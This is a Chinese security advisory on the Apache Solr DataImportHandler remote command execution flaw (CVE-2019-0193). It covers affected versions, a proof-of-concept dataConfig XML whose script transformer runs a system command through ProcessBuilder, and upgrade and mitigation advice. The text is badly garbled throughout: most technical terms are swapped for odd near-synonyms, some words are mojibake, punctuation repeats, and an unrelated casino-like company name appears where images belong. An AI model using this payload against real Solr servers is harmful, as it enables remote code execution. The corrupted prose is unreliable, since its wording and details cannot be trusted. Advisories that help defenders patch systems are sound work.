Apache Solr远程号令执行缝隙措置建议

颁布功夫 2019-08-08

? 缝隙编号和级别


CVE编号:CVE-2019-0193,,,,,危险级别:严沉,,,,,CVSS分值:官方未评定


? 影响版本


受影响的版本


合用于Solr < 8.2.0且开启了DataImport职能。。。。 。。。。


? 缝隙概述


Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。。。。 。。。。该产品支持层面搜索、垂直搜索、高亮显示搜索了局等。。。。 。。。。


这次缝隙呈此刻Apache Solr的DataImportHandler,,,,,该模浚�???槭且桓隹裳〉S玫哪?????椋�,,,用于从数据库和其他源中提取数据。。。。 。。。。


该缝隙源于用户在solrconfig.xml文件中设置了DataImportHandler,,,,,开启了DataImport职能。。。。 。。。。DataImportHandler模浚�???樵市碛没ё约涸毯绫荆�,,,来进行配置。。。。 。。。。攻击者能够通过机关恶意的剧本交由转换器进行解析,,,,,在Solr解析的过程中并未对用户的输入做查抄,,,,,可导致攻击者远程在Solr服务器上执行号令。。。。 。。。。


? 缝隙验证


POC:


<?xml version="1.0" encoding="UTF-8" ?>  
<dataConfig>  
<dataSource name="fromMysql"
     type="JdbcDataSource"  
     driver="com.mysql.jdbc.Driver"  
     url="jdbc:mysql://localhost:3306/mysql"  
     user="root"  
     password="123456"/>
<script ><![CDATA[
   function f2c(row) {
      var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
     return row;
   }
   ]]>
 </script>  
<document>  
 <entity name="Users" query="SELECT 1" transformer="script:f2c">
 </entity>  
</document>  
</dataConfig>


接见url:http://ip:8983/solr/#/core1/dataimport//dataimport,,,,,存在这个蹊径,,,,,就证明用户的solr,,,,,有可选模浚�???镈ataImportHandler,,,,,存在缝隙利用风险。。。。 。。。。详见下图:

 

8827太阳集团(Macau)股份有限公司-Official website


该缝隙影响版本Solr < 8.2.0,,,,,在Dashboard页面能够查看solr的版本,,,,,详见下图:

 

8827太阳集团(Macau)股份有限公司-Official website


? 建复建议


将Apache Solr升级至8.2.0或更高的版本。。。。 。。。。


一时建复建议:


1、 编纂solrconfig.xml,,,,,将所有效固定值配置的DataImportHandler用法中的dataConfig参数设置为空字符串;;;;;;;;

 

8827太阳集团(Macau)股份有限公司-Official website


2、确保网络设置只允许可信的流量与Solr进行通讯,,,,,出格是与DIH要求处置法式的通讯。。。。 。。。。


? 参考链接


https://issues.apache.org/jira/browse/SOLR-13669